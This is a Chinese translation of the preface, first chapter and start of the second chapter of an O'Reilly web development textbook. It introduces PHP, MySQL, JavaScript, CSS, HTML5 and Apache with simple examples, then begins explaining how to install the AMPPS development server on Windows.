PHP-MySQL-和-JavaScript-学习指南第六版-全-

PHP、MySQL 和 JavaScript 学习指南第六版(全)

原文:zh.annas-archive.org/md5/4aa97a1e8046991cb9f8d5f0f234943f

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

PHP 与 MySQL 的结合是实现动态、数据库驱动型网页设计最便捷的方法,面对一些更难学习的集成框架的挑战,它始终占据一席之地。由于其开源根源,它可以免费实现,因此是网页开发的极为流行的选择。

任何想要成为 Unix/Linux 甚至 Windows 平台开发者的人都需要掌握这些技术。再加上 JavaScript、React、CSS 和 HTML5 等合作技术,您将能够创建像 Facebook、Twitter 和 Gmail 这样的行业标准的网站。

受众

本书适合希望学习如何创建有效和动态网站的人士。这可能包括已经掌握创建静态网站或 CMS(如 WordPress)的网站管理员或平面设计师,但希望将他们的技能提升到更高水平的人,以及高中生、大学生、最近毕业生和自学者。

实际上,任何准备学习响应式网页设计背后基础原理的人都将获得 PHP、MySQL、JavaScript、CSS 和 HTML5 核心技术的全面掌握,您还将学习 React 库的基础知识。

本书的假设

本书假定您具有 HTML 的基本理解,并且至少能够编写简单的静态网站,但不假定您具有任何 PHP、MySQL、JavaScript、CSS 或 HTML5 的先前知识——尽管如果您有这些知识,您通过本书的进展会更快。

本书的组织结构

本书的各章按特定顺序编写,首先介绍它涵盖的所有核心技术,然后引导您在 Web 开发服务器上安装这些技术,以便您可以准备好处理示例。

在第一部分中,您将掌握 PHP 编程语言的基础,涵盖语法、数组、函数和面向对象编程。

随后,掌握了 PHP 之后,您将进入 MySQL 数据库系统的介绍,您将从 MySQL 数据库的结构到生成复杂查询的各个方面进行学习。

在此之后,您将学习如何将 PHP 和 MySQL 结合起来,通过整合表单和其他 HTML 特性开始创建自己的动态网页。然后,您将深入了解 PHP 和 MySQL 开发的实际细节,学习各种有用的函数以及如何管理 cookies 和 sessions,以及如何保持高水平的安全性。

在接下来的几章中,您将全面掌握 JavaScript 的基础知识,从简单函数和事件处理到访问文档对象模型、浏览器验证和错误处理。您还将全面了解如何使用流行的 React 库来进行 JavaScript 开发。

理解了这三种核心技术后,您将学习如何进行后台 Ajax 调用,将您的网站转变为高度动态的环境。

接下来,您将花两章时间学习如何使用 CSS 来为您的网页设置样式和布局,然后了解 React 库如何大大简化您的开发工作。然后,您将进入关于 HTML5 中的交互功能的最后一部分,包括地理位置、音频、视频和画布。之后,您将把所学的一切整合在一起,构建一个完整的程序集,这些程序共同构成一个完全功能的社交网络网站。

在此过程中,您将找到许多关于良好编程实践和可以帮助您找到和解决难以检测的编程错误的建议。还有许多链接指向包含所涵盖主题详细信息的网站。

本书使用的约定

本书中使用以下排版约定:

普通文本

指示菜单标题、选项和按钮。

斜体

指示新术语、URL、电子邮件地址、文件名、文件扩展名、路径名、目录和 Unix 实用程序。还用于数据库、表和列名。

常宽

指示命令和命令行选项、变量和其他代码元素、HTML 标签以及文件的内容。

常宽粗体

显示程序输出,并用于突出显示文本中讨论的代码部分。

常宽斜体

显示应替换为用户提供值的文本。

注意

此元素表示一般说明。

警告

此元素表示警告或注意事项。

提示

此元素表示提示或一般说明。

使用代码示例

附加资料(代码示例,练习等)可在GitHub上下载。

本书旨在帮助您完成工作。一般而言,如果本书提供示例代码,则可以在您的程序和文档中使用它。除非您复制了代码的大部分内容,否则无需征得我们的许可。例如,编写使用本书中多个代码片段的程序不需要许可。销售或分发从 O’Reilly 书籍中获取的示例集需要许可。通过引用本书并引用示例代码来回答问题不需要许可。将本书中大量示例代码合并到您产品的文档中需要许可。

我们感谢但不要求归属。归属通常包括标题、作者、出版商和 ISBN。例如:“Learning PHP, MySQL & JavaScript 6th Edition by Robin Nixon (O’Reilly). Copyright 2021 Robin Nixon, 9781492093824.”

如果您觉得您对代码示例的使用超出了合理使用范围或以上给出的许可,请随时通过permissions@oreilly.com与我们联系。

奥莱利在线学习

注意

超过 40 年来,奥莱利传媒为企业的技术和业务培训提供了知识和见解,助力它们取得成功。

我们独特的专家和创新者网络通过书籍、文章和我们的在线学习平台分享他们的知识和专长。奥莱利的在线学习平台为您提供按需访问直播培训课程、深度学习路径、交互式编码环境以及奥莱利和其他 200 多家出版商的大量文本和视频。有关更多信息,请访问http://oreilly.com

如何联系我们

请将关于本书的评论和问题发送给出版商:

  • 奥莱利传媒公司

  • 1005 Gravenstein Highway North

  • 加利福尼亚州,塞巴斯托波尔,95472

  • (800) 998-9938(美国或加拿大)

  • (707) 829-0515(国际或本地)

  • (707) 829-0104(传真)

我们为这本书准备了一个网页,列出了勘误、示例和任何额外信息。你可以访问这个页面,网址为https://oreil.ly/learning-php-mysql-js-6e

关于本书的问题,请发送电子邮件至bookquestions@oreilly.com

有关我们的书籍和课程的新闻和更多信息,请访问我们的网站http://www.oreilly.com

在 Facebook 上找到我们:http://facebook.com/oreilly

在 Twitter 上关注我们:http://twitter.com/oreillymedia

在 YouTube 上观看我们:http://www.youtube.com/oreillymedia

致谢

我要感谢高级内容采集编辑阿曼达·奎恩、内容开发编辑梅丽莎·波特和所有为这本书努力工作的人,包括米哈尔·斯帕切克和大卫·麦基对技术的全面审查,凯特琳·盖根监督制作,金·科弗进行编辑,金·桑多瓦尔进行校对,朱迪斯·麦康维尔创建索引,卡伦·蒙哥马利设计原始的飞翔树鼠封面,兰迪·科默更新书籍封面,我的最初编辑安迪·奥拉姆监督前五版的出版,以及其他无法一一列举的提供勘误和建议的人。

第一章:动态网页内容介绍

万维网是一个不断发展的网络,早在 1990 年代初期就已经远远超出了其创立时解决特定问题的概念。在欧洲核子研究中心(现已成为大型强子对撞机的运营者)进行的最先进实验产生了大量数据,这些数据分布在全世界各地的参与科学家之间变得异常棘手。

那个时候,互联网已经建立起来,连接了数十万台计算机,因此蒂姆·伯纳斯-李(一位欧洲核子研究中心的研究员)设计了一种使用超链接框架进行导航的方法,后来被称为超文本传输协议,或者 HTTP。他还创建了一种叫做超文本标记语言,或者 HTML 的标记语言。为了将它们结合起来,他写了第一个网页浏览器和网页服务器。

如今,我们认为这些工具理所当然,但在当时,这个概念是革命性的。迄今为止,家用调制解调器用户所体验到的最大连接性是拨号连接到一个公告板,你只能与该服务的其他用户交流和交换数据。因此,你需要成为许多公告板系统的成员,才能有效地通过电子方式与你的同事和朋友进行沟通。

但是伯纳斯-李一举改变了这一切,在 1990 年代中期,已经有三种主要的图形网页浏览器竞争吸引了五百万用户的注意。很快就显而易见,有些东西是缺失的。是的,文本和图片页面与超链接的概念非常出色,但其结果并未反映出计算机和互联网在满足每个用户具体需求方面的即时潜力。使用网络是一种非常枯燥和普通的体验,即使现在我们有了滚动文本和动画 GIF!

购物车、搜索引擎和社交网络明显改变了我们使用网络的方式。在本章中,我们将简要介绍构成网络的各种组件以及帮助使其使用成为丰富和动态体验的软件。

注意

现在我们需要立即开始使用一些缩写词。在继续之前,我已经试图清楚地解释它们,但不要太担心它们代表什么或者这些名称的含义,因为随着你继续阅读,细节会变得清晰起来。

HTTP 和 HTML:伯纳斯-李的基础

HTTP 是一种通信标准,它管理在运行在最终用户计算机上的浏览器和 Web 服务器之间发送的请求和响应。服务器的工作是接受来自客户端的请求并尝试以有意义的方式回复,通常是通过提供请求的 Web 页面 —— 这就是为什么使用术语服务器。与服务器的自然对应物是客户端,因此该术语同时适用于 Web 浏览器和运行它的计算机。

在客户端和服务器之间可能存在多个其他设备,例如路由器、代理、网关等等。它们在确保请求和响应在客户端和服务器之间正确传输方面扮演着不同的角色。通常情况下,它们使用互联网来发送这些信息。这些中间设备中的一些还可以通过在所谓的缓存中本地存储页面或信息,然后直接从缓存向客户端提供这些内容来帮助加速互联网。

Web 服务器通常可以处理多个同时连接,当不与客户端通信时,它会花时间监听传入连接。一旦连接到达,服务器就会发送回复以确认接收到连接。

请求/响应过程

在其最基本的水平上,请求/响应过程包括 Web 浏览器或其他客户端请求 Web 服务器发送 Web 页面,服务器然后发送页面。浏览器然后负责显示或渲染页面(参见图 1-1)。

图 1-1. 基本的客户端/服务器请求/响应序列

请求和响应序列中的步骤如下:

  1. 您在浏览器的地址栏中输入http://server.com

  2. 您的浏览器查找server.com的 Internet 协议(IP)地址。

  3. 您的浏览器发出请求,请求server.com的主页。

  4. 请求通过互联网传输并到达server.com Web 服务器。

  5. Web 服务器在收到请求后,在其磁盘上查找 Web 页面。

  6. Web 服务器检索页面并将其返回给浏览器。

  7. 您的浏览器显示 Web 页面。

对于平均网页,该过程还会为页面中的每个对象执行一次:图形、嵌入式视频或 Flash 文件,甚至 CSS 模板。

在第 2 步中,请注意浏览器查找server.com的 IP 地址。连接到互联网的每台机器都有一个 IP 地址 —— 包括您的计算机,但我们通常通过名称访问 Web 服务器,例如google.com。浏览器还要查询一个名为域名系统(DNS)的附加互联网服务,以查找服务器关联的 IP 地址,然后使用它与计算机通信。

对于动态网页,过程稍微复杂一些,因为可能会同时涉及 PHP 和 MySQL。例如,您可能会点击一件雨衣的图片。然后 PHP 将使用标准的数据库语言 SQL(本书中您将学习到其许多命令)组装一个请求,并将请求发送到 MySQL 服务器。MySQL 服务器将返回您选择的雨衣的信息,PHP 代码将其包装在一些 HTML 中,服务器将其发送到您的浏览器(见 图 1-2)。

动态客户端/服务器请求/响应序列

图 1-2. 动态客户端/服务器请求/响应序列

步骤如下:

  1. 您在浏览器的地址栏中输入 http://server.com

  2. 您的浏览器查找 server.com 的 IP 地址。

  3. 您的浏览器向该地址发出请求,请求 Web 服务器的主页。

  4. 请求穿过互联网并到达 server.com Web 服务器。

  5. Web 服务器在收到请求后,从硬盘中获取主页文件。

  6. 现在首页已经加载到内存中,Web 服务器注意到它是一个包含 PHP 脚本的文件,并将页面传递给 PHP 解释器。

  7. PHP 解释器执行 PHP 代码。

  8. 一些 PHP 包含 SQL 语句,这些语句现在由 PHP 解释器传递给 MySQL 数据库引擎。

  9. MySQL 数据库将语句的结果返回给 PHP 解释器。

  10. PHP 解释器将执行的 PHP 代码的结果与来自 MySQL 数据库的结果一起返回给 Web 服务器。

  11. Web 服务器将页面返回给请求的客户端,客户端显示该页面。

虽然了解这个过程对于了解这三个元素如何协同工作是有帮助的,但实际上你不需要关心这些细节,因为它们都会自动发生。

每个示例中返回给浏览器的 HTML 页面可能包含 JavaScript,客户端会本地解释它,可能会发起另一个请求,就像嵌入对象(如图像)一样。

PHP、MySQL、JavaScript、CSS 和 HTML5 的好处

在本章开头,我介绍了 Web 1.0 的世界,但很快人们就开始创造 Web 1.1,随着诸如 Java、JavaScript、JScript(微软的 JavaScript 轻微变体)和 ActiveX 等浏览器增强功能的开发。在服务器端,使用脚本语言如 Perl(PHP 语言的替代方案)和 服务器端脚本(动态地将一个文件的内容(或运行本地程序的输出)插入另一个文件中)正在进行进展。

风云稍定后,三种主要技术脱颖而出。尽管 Perl 仍然是一种流行的脚本语言并拥有强大的追随者群体,PHP 的简单性和与 MySQL 数据库程序的内置链接使其用户数量超过了两倍。而 JavaScript 则已成为动态操作层叠样式表(CSS)和 HTML 的必不可少的组成部分,现在更承担了处理客户端异步通信的更强大任务(在网页加载后在客户端和服务器之间交换数据)。使用异步通信,网页在后台执行数据处理并向 web 服务器发送请求——而用户在浏览网页时并不知道这一切正在进行。

毫无疑问,PHP 和 MySQL 的共生特性帮助它们双双前进,但最初是什么吸引开发者呢?简单答案必须是你可以使用它们快速创建网站动态元素的简便性。MySQL 是一个快速而强大且易于使用的数据库系统,几乎提供了网站在查找和向浏览器提供数据时所需的一切。当 PHP 联合 MySQL 来存储和检索这些数据时,你拥有了构建 Web 2.0 所需的基本部件。

当你把 JavaScript 和 CSS 也加入进来时,你就有了构建高度动态和交互式网站的配方——尤其是现在有许多复杂的 JavaScript 框架可供调用,以加速网页开发。这些包括广为人知的 jQuery,直到最近仍是程序员访问异步通信特性的常见方式,以及近年来快速增长的 React JavaScript 库。它现在是下载和实施最广泛的框架之一,以至于自 2020 年以来,Indeed 网站列出的 React 开发者职位数量超过 jQuery 的两倍以上。

MariaDB:MySQL 的克隆品

在 Oracle 收购 Sun 微系统(MySQL 的所有者)之后,社区担心 MySQL 可能不会完全保持开源,因此从中分叉出了 MariaDB,以在 GNU GPL 下保持其自由。MariaDB 的开发由 MySQL 的一些原始开发者领导,它与 MySQL 保持极其密切的兼容性。因此,在一些服务器上,你可能会遇到 MariaDB 替代 MySQL,但不用担心,本书中的所有内容在 MySQL 和 MariaDB 上同样适用,你可以随意切换而不会有任何区别。

无论如何,事实证明,许多最初的担忧似乎已经消除,因为 MySQL 仍然是开源的,Oracle 只是为支持和提供附加功能(如地理复制和自动扩展)的版本收费。然而,与 MariaDB 不同,MySQL 不再由社区驱动,因此知道如果需要时 MariaDB 始终可用将让许多开发者安心,可能也确保了 MySQL 本身将继续保持开源。

使用 PHP

使用 PHP,将动态活动嵌入网页非常简单。给页面添加.php扩展名后,即可立即使用脚本语言。从开发者的角度来看,你只需编写如下的代码:

<?php
 echo " Today is " . date("l") . ". ";
?>

Here's the latest news.

开头的<?php告诉 Web 服务器允许 PHP 程序解释直到?>标签之间的所有代码。在这个结构之外,所有内容都将直接发送给客户端作为 HTML。因此,文本Here's the latest news.将简单地输出到浏览器;在 PHP 标记内,内置的date函数根据服务器系统时间显示当前星期几。

两部分的最终输出如下:

*Today is Wednesday. Here's the latest news.*

PHP 是一种灵活的语言,有些人更喜欢将 PHP 结构直接放在 PHP 代码旁边,如下所示:

Today is <?php echo date("l"); ?>. Here's the latest news.

还有更多格式化和输出信息的方式,我将在有关 PHP 的章节中进行解释。关键是,使用 PHP,Web 开发人员拥有一种脚本语言,虽然不像在 C 或类似语言中编译代码那样快速,但速度非常快,并且与 HTML 标记完美集成。

注意

如果你打算将本书中的 PHP 示例输入到程序编辑器中与我一起工作,你必须记住在它们前面加上<?php,并在后面加上?>,以确保 PHP 解释器可以处理它们。为了方便起见,你可能希望准备一个名为example.php的文件,并在适当位置添加这些标记。

使用 PHP,你可以对你的 Web 服务器进行无限制的控制。无论你需要在页面中动态修改 HTML、处理信用卡、将用户详细信息添加到数据库,还是从第三方网站获取信息,你都可以在同一个 PHP 文件中完成。

使用 MySQL

当然,能够动态更改 HTML 输出的能力没有太大意义,除非你还有一种方法跟踪用户在使用网站时提供的信息。在互联网早期,许多网站使用“平面”文本文件存储用户名和密码等数据。但是,如果文件没有正确锁定以防止多个同时访问导致的损坏,这种方法可能会导致问题。此外,平面文件在变得过大之前就变得难以管理,更不用说尝试合并文件和在合理时间内执行复杂搜索的困难了。

这就是关系型数据库与结构化查询变得至关重要的地方。而 MySQL 作为免费使用并安装在大量互联网服务器上的数据库管理系统,则非常出色地胜任了这一角色。它是一个强大且异常快速的数据库管理系统,使用类似英语的命令。

MySQL 结构的最高级别是数据库,您可以在其中拥有一个或多个包含您数据的表。例如,假设您正在处理一个名为users的表,在其中创建了surnamefirstnameemail列,现在希望添加另一个用户。您可能使用的一条命令如下:

INSERT INTO users VALUES('Smith', 'John', 'jsmith@mysite.com');

之前您已经发出了其他命令来创建数据库和表,并设置了所有正确的字段,但此处的 SQL INSERT命令显示了向数据库添加新数据可以多么简单。SQL 是上世纪 70 年代设计的一种语言,它让人联想起最古老的编程语言之一,COBOL。然而,它非常适合数据库查询,这就是为什么在这么长时间后它仍然在使用中的原因。

查找数据同样简单。假设您有一个用户的电子邮件地址并需要查找该人的姓名。为此,您可以发出如下所示的 MySQL 查询:

SELECT surname,firstname FROM users WHERE email='jsmith@mysite.com';

MySQL 然后将返回Smith, John及数据库中与该电子邮件地址可能关联的任何其他姓名对。

正如您所期望的那样,您可以在 MySQL 中做的远不止简单的INSERTSELECT命令。例如,您可以组合相关数据集以将相关信息片段汇集在一起,请求以各种顺序返回结果,在您仅知道要搜索的字符串的一部分时进行部分匹配,仅返回第n个结果等等。

使用 PHP,您可以直接调用 MySQL 而无需自己直接访问 MySQL 命令行界面。这意味着您可以将结果保存在数组中进行处理,并执行多次查找,每次查找都依赖于从前面的查找返回的结果,以便深入到您需要的数据项。

更有力的是,正如稍后将看到的,MySQL 内置了额外的功能,可以高效地运行 MySQL 内部的常见操作,而不是通过多个 PHP 调用 MySQL 创建它们。

使用 JavaScript

JavaScript 的创建是为了使脚本能够访问 HTML 文档的所有元素。换句话说,它提供了一种动态用户交互的手段,例如在输入表单中检查电子邮件地址的有效性,并显示诸如“您是认真的吗?”之类的提示(尽管不能依赖其用于安全性,这应始终在 Web 服务器上执行)。

结合 CSS(请参阅下一节),JavaScript 是动态网页背后的动力,使页面能够在您眼前变化,而不是在服务器返回新页面时变化。

然而,JavaScript 以前使用起来很棘手,因为不同浏览器设计者选择实现方式存在显著差异。这主要是在一些制造商试图在其浏览器中添加额外功能,却牺牲了与竞争对手的兼容性时出现的问题。

幸运的是,开发者们大多已经理智过来,意识到彼此兼容的必要性,因此在如今不太需要为不同浏览器优化代码。然而,仍然有数百万用户在使用传统浏览器,而且这种情况可能在未来很多年内仍会存在。幸运的是,有解决不兼容性问题的解决方案,本书后面我们会看到一些库和技术,使您能够安全地忽略这些差异。

现在,让我们看看如何使用基本的 JavaScript,所有浏览器都支持:

<script type="text/javascript">
  document.write("Today is " + Date() );
</script>

此代码片段告诉 Web 浏览器解析 <script> 标签中的所有内容为 JavaScript,浏览器通过使用 JavaScript 函数 Date 将文本 Today is 与当前日期一起写入当前文档。结果将看起来像这样:

Today is Wed Jan 01 2025 01:23:45
注意

除非您需要指定确切的 JavaScript 版本,通常可以省略 type="text/javascript",直接使用 <script> 开始 JavaScript 的解析。

如前所述,JavaScript 最初是为了在 HTML 文档中动态控制各种元素而开发的,这仍然是它的主要用途。但是越来越多地,JavaScript 被用于Ajax,即在后台访问 Web 服务器的过程。

异步通信使得网页开始类似独立程序,因为它们不需要完全重新加载以显示新内容。相反,异步调用可以拉取和更新网页上的单个元素,例如在社交网络网站上更改您的照片或替换您点击的按钮与问题答案。这个主题在第十八章中有详尽的介绍。

然后,在第二十二章中,我们仔细研究了 jQuery 框架,您可以在需要快速、跨浏览器的代码来操作网页时使用它,以免重复发明轮子。当然,还有其他可用的框架,因此我们还会看一下 React,在第二十四章中是当今最受欢迎的选择之一。它们都非常可靠,是许多经验丰富的网页开发者工具包中的主要工具。

使用 CSS

CSS 是 HTML 的重要伴侣,确保 HTML 文本和嵌入的图像在用户屏幕上一致且合适地排列。随着近年来 CSS3 标准的出现,CSS 现在提供了以前仅由 JavaScript 支持的动态交互水平。例如,不仅可以为任何 HTML 元素设置样式以更改其尺寸、颜色、边框、间距等,而且现在还可以仅使用几行 CSS 为网页添加动画过渡和转换效果。

使用 CSS 可能就像在网页头部的<style></style>标签之间插入几条规则一样简单,就像这样:

<style>
  p {
    text-align:justify;
    font-family:Helvetica;
  }
</style>

这些规则改变了<p>标签的默认文本对齐方式,使其中包含的段落完全对齐并使用 Helvetica 字体。

正如你将在第十九章中了解的那样,有许多不同的方式可以布置 CSS 规则,你还可以直接将它们包含在标签内部或保存为一个外部文件单独加载。这种灵活性不仅可以让你精确地为你的 HTML 设置样式,还可以(例如)提供内置的悬停功能来在鼠标悬停时为对象添加动画效果。你还将学习如何从 JavaScript 以及 HTML 中访问元素的所有 CSS 属性。

还有 HTML5

尽管所有这些对 Web 标准的增加都非常有用,但对于越来越雄心勃勃的开发者来说还不够。例如,在没有像 Flash 这样的插件的情况下,仍然没有简单的方法在 Web 浏览器中操作图形。同样,插入音频和视频到网页中也是如此。而且,在 HTML 的发展过程中还出现了一些令人讨厌的不一致性。

因此,为了澄清所有这些并将互联网推向 Web 2.0 之外,进入其下一个迭代,创建了一个新的 HTML 标准来解决所有这些缺陷:HTML5。其开发始于 2004 年,当时 Mozilla 基金会和 Opera Software(两个流行的 Web 浏览器开发者)起草了第一个草案,但直到 2013 年初,最终草案才被提交给了万维网联盟(W3C),这是国际上的 Web 标准管理机构。

HTML5 发展了几年,但现在我们有了一个非常稳定和稳健的版本 5.1(自 2016 年以来)。然而,这是一个永无止境的发展循环,随着时间的推移,肯定会向其中添加更多功能,例如计划在 2017 年作为 W3C 推荐发布的 5.2 版(计划使插件系统过时),以及截至 2020 年仍在计划中的 HTML 5.3(具有自动大写功能等提议功能)。HTML5 中用于处理和显示媒体的一些最佳功能包括<audio><video><canvas>元素,它们添加了声音、视频和高级图形。关于 HTML5 的所有这些以及其他方面的详细信息都在第二十五章中详细介绍。

注意

我喜欢 HTML5 规范的一点是不再需要 XHTML 语法来自动关闭元素。过去,你可以使用<br>元素显示一个换行。然后,为了确保与 XHTML(计划中用于替换 HTML 但从未实现的)的未来兼容性,这被改为<br />,其中添加了一个关闭/字符(因为预期所有元素都应包含带有此字符的关闭标记)。但现在情况已经完全变了,你可以使用这些类型元素的任一版本。因此,出于简洁和减少击键次数的考虑,在这本书中,我已经恢复 r>` 等样式。

Apache 网络服务器

除了 PHP、MySQL、JavaScript、CSS 和 HTML5,动态网站还有第六位英雄:网络服务器。在这本书中,这意味着 Apache 网络服务器。我们已经讨论过网络服务器在 HTTP 服务器/客户端交换过程中做了一些什么,但它在幕后做了更多的事情。

例如,Apache 不仅提供 HTML 文件,它还处理各种文件,从图像和 Flash 文件到 MP3 音频文件,RSS(真正简单联合)源等等。这些对象不必是静态文件,比如 GIF 图像。它们都可以由诸如 PHP 脚本之类的程序生成。没错:PHP 甚至可以为您创建图像和其他文件,无论是即时生成还是提前生成以供以后使用。

要做到这一点,通常你要么在 Apache 或 PHP 中预编译模块,要么在运行时调用模块。其中一个这样的模块是 GD(图形绘制)库,PHP 用它来创建和处理图形。

Apache 也支持各种各样的自己的模块。除了 PHP 模块外,作为网络程序员最重要的模块是处理安全性的模块。其他例子包括 Rewrite 模块,它使网络服务器能够处理各种 URL 类型并将它们重写为自己的内部要求,以及 Proxy 模块,你可以用它来从缓存中提供经常请求的页面,以减轻服务器的负载。

本书的后面,你将看到如何使用这些模块来增强三个核心技术提供的功能。

处理移动设备

我们现在完全进入了互联的移动计算设备世界,仅为桌面计算机开发网站的概念已经相当过时。相反,开发人员现在旨在开发响应式网站和 Web 应用程序,以适应它们运行的环境。

因此,在本版本中新加入的内容是,我展示了如何仅使用本书详细介绍的技术以及强大的 jQuery Mobile 库,轻松创建这些类型的产品。借助它,你将能够专注于网站和 Web 应用程序的内容和可用性,知道它们的显示方式将自动优化以适应各种不同的计算设备——这样你就少了一件需要担心的事情。

为了展示如何充分利用它的力量,本书的最后一章创建了一个简单的社交网络示例网站,使用 jQuery 使其完全响应,并确保它在从小型手机屏幕到平板电脑或台式电脑的任何设备上显示良好。我们同样可以使用 React(或其他 JavaScript 库或框架),但也许这是你在完成本书后想要自己尝试的一个练习。

关于开源

这本书中涉及的技术都是开源的:任何人都可以阅读和修改代码。关于这些技术之所以如此流行的原因,常常被争论,但 PHP、MySQL 和 Apache 确实 是它们类别中使用最广泛的三种工具。可以肯定的是,它们的开源性意味着它们是由社区中的团队开发的,这些团队编写了他们自己想要和需要的功能,原始代码对所有人都是开放的,可以随时查看和修改。可以迅速发现错误,并在它们发生之前预防安全漏洞。

还有另一个好处:所有这些程序都可以免费使用。不用担心如果要扩展你的网站并增加更多服务器就必须购买额外的许可证,也无需在决定是否升级到这些产品的最新版本之前检查预算。

将所有内容整合在一起

PHP、MySQL、JavaScript(有时候辅助 React 或其他框架)、CSS 和 HTML5 的真正美妙之处在于它们如何协同工作来生成动态的 Web 内容:PHP 在 Web 服务器上处理所有主要工作,MySQL 管理所有数据,而 CSS 和 JavaScript 的组合则负责网页的呈现。JavaScript 还可以在需要更新某些内容(无论是在服务器上还是在网页上)时与你的 PHP 代码进行通信。借助 HTML5 中强大的功能,如画布、音频和视频以及地理位置,你可以使你的网页高度动态、互动且多媒体丰富。

在不使用程序代码的情况下,让我们通过查看将一些技术组合到每日异步通信功能中的过程来总结本章的内容,这是许多网站在用户注册新帐户时使用的功能的示例:检查所需的用户名是否已存在于站点上。这在 Gmail 中有一个很好的例子(见图 1-3)。

图 1-3. Gmail 使用异步通信来检查用户名的可用性

这个异步过程涉及的步骤将类似于以下内容:

  1. 服务器输出 HTML 创建网页表单,要求输入必要的详细信息,如用户名、名字、姓氏和电子邮件地址。

  2. 同时,服务器将一些 JavaScript 附加到 HTML 上,以监视用户名输入框并检查两件事情:是否已输入了一些文本,以及是否取消了输入选择,因为用户已点击了另一个输入框。

  3. 一旦文本被输入并取消选定该字段,JavaScript 代码会将输入的用户名传回到 Web 服务器上的 PHP 脚本,并等待响应。

  4. Web 服务器查找用户名并回复 JavaScript,告知该名称是否已被占用。

  5. 然后,JavaScript 在用户名输入框旁边放置一个指示,显示用户名对用户是否可用的状态——可能是一个绿色的勾或一个红色的叉,以及一些文本。

  6. 如果用户名不可用,并且用户仍然提交表单,JavaScript 将中断提交并重新强调(可能通过更大的图形和/或警报框)用户需要选择另一个用户名。

  7. 可选地,这个过程的改进版本甚至可以查看用户请求的用户名,并建议当前可用的替代用户名。

所有这些都在后台静静地进行,为用户提供了舒适且无缝的使用体验。没有异步通信,整个表单都必须提交到服务器,然后服务器会返回 HTML,并突出显示任何错误。这也算是一个可行的解决方案,但远不及即时处理表单字段那样整洁和令人愉悦。

然而,异步通信不仅仅可以用于简单的输入验证和处理,我们将在本书的后续部分探讨许多其他可以使用它来实现的功能。

在本章中,您已经读到了 PHP、MySQL、JavaScript、CSS 和 HTML5(以及 Apache)的核心技术的很好介绍,并学习了它们如何共同工作。在第二章中,我们将讨论如何在自己的 Web 开发服务器上安装和练习您将要学习的所有内容。

问题

  1. 至少需要哪四个组件才能创建一个完全动态的网页?

  2. HTML 是什么意思?

  3. 为什么 MySQL 的名称包含字母 SQL

  4. PHPJavaScript 都是能够为网页生成动态结果的编程语言。它们的主要区别是什么,为什么你会同时使用它们呢?

  5. CSS 代表什么?

  6. 列出 HTML5 中引入的三个主要新元素。

  7. 如果你在一个开源工具中遇到一个(很少见的)Bug,你认为你能如何修复它?

  8. 为什么像 jQuery 或 React 这样的框架对于开发现代网站和 Web 应用程序如此重要?

查看 “第一章答案” 在 附录 A 中,获取这些问题的答案。

第二章:建立开发服务器

如果你想开发互联网应用程序但没有自己的开发服务器,你将不得不在能够测试之前将每一次修改上传到 Web 上的某个其他服务器。

即使在快速的宽带连接上,这仍可能导致开发时间显著减慢。然而,在本地计算机上,测试可以像保存更新一样简单(通常只需点击图标一次),然后在浏览器中点击刷新按钮。

另一个开发服务器的优点是,当你编写和测试时,你不必担心尴尬的错误或安全问题,而在公共网站上,你需要意识到人们可能会看到或使用你的应用程序。最好在你仍然在家庭或小办公室系统上,预计受到防火墙和其他保护措施保护的时候,把一切都搞定。

一旦你拥有了自己的开发服务器,你会想知道之前是如何没有它的,而且设置一个是很容易的。只需按照以下各节中的步骤进行操作,根据你使用的是 PC、Mac 还是 Linux 系统,选择适当的说明。

在本章中,我们只涵盖了 Web 体验的服务器端,正如在第一章中描述的那样。但是为了测试你的工作结果——特别是当我们稍后在本书中开始使用 JavaScript、CSS 和 HTML5 时——你最好有一个至少包含 Microsoft Edge、Mozilla Firefox、Opera、Safari 和 Google Chrome 的主要 Web 浏览器的实例运行在方便你的某个系统上。一旦准备好发布产品,你可能需要所有这些,以确保在所有浏览器和平台上一切都如预期运行。如果你计划确保你的网站在移动设备上看起来良好,你应该尽量安排访问各种 iOS 和 Android 设备。

什么是 WAMP, MAMPLAMP

WAMPMAMPLAMP 是 “Windows, Apache, MySQL 和 PHP”,“Mac, Apache, MySQL 和 PHP”,以及 “Linux, Apache, MySQL 和 PHP”的缩写。这些缩写描述了用于开发动态互联网页面的完整功能设置。

WAMPsMAMPsLAMPs 以捆绑程序包的形式出现,这些程序将捆绑的程序一起绑定,以便你不必单独安装和设置它们。这意味着你只需下载和安装一个单一的程序,并按照几个简单的提示进行操作,就可以快速启动和运行你的 Web 开发服务器,几乎没有任何麻烦。

在安装过程中,会为你创建几个默认设置。这样的安装的安全配置不会像生产 Web 服务器上那样严格,因为它被优化用于本地使用。因此,你绝对不应该将这样的设置作为生产服务器安装。

然而,对于开发和测试网站和应用程序来说,其中一个这样的安装完全足够了。

警告

如果您选择不通过 WAMP/MAMP/LAMP 方式构建自己的开发系统,您应知道自行下载和集成各部分可能非常耗时,并可能需要大量研究来完全配置所有内容。但如果您已经安装并集成了所有组件,它们应该可以与本书中的示例一起工作。

在 Windows 上安装 AMPPS

有几个可用的 WAMP 服务器,每个提供稍有不同的配置。在各种开源和免费选项中,最好的之一是 AMPPS。您可以通过点击网站的主页上显示的按钮来下载,如图 2-1 所示。(也有 Mac 和 Linux 版本可用;参见“在 macOS 上安装 AMPPS”和“在 Linux 上安装 LAMP”。)

注意

最近,Chrome 已更新以禁止从混合来源(例如从 https:// 网页下载的 http:// 文件)下载。其他浏览器可能也会遵循这一安全倡议。当前 AMPPS 网站使用混合来源,您可能会遇到此问题。解决方法是当 Chrome(或其他浏览器)提示“无法安全下载 AMPPS”时,不要选择 DISCARD,而是使用上箭头选择 Keep,然后下载将继续。此外,如果单击下载链接似乎无任何反应,您将需要右键单击并选择 另存为 来启动下载。

我建议您始终下载最新的稳定版本(截至我写作时,版本为 3.9,大小约为 114 MB)。各种 Windows、macOS 和 Linux 安装程序列在下载页面上。

AMPPS 网站

图 2-1. AMPPS 网站
注意

在本版本的生命周期内,以下步骤中显示的某些屏幕和选项可能会发生变化。如果确实如此,请凭常识尽量按照所描述的操作顺序进行。

下载安装程序后,请运行它以显示图 2-2 中显示的窗口。不过,在到达该窗口之前,如果您使用防病毒程序或在 Windows 上激活了用户账户控制,可能会首先显示一个或多个提示通知,您需要点击“是”和/或“确定”以继续安装。

单击“下一步”,然后必须接受协议。再次单击“下一步”,然后再次单击以跳过信息屏幕。现在,您需要确认安装位置。这可能会建议为主硬盘的某个字母,但如果您希望,可以更改此选项:

C:\Program Files (x86)\Ampps

图 2-2. 安装程序的初始窗口

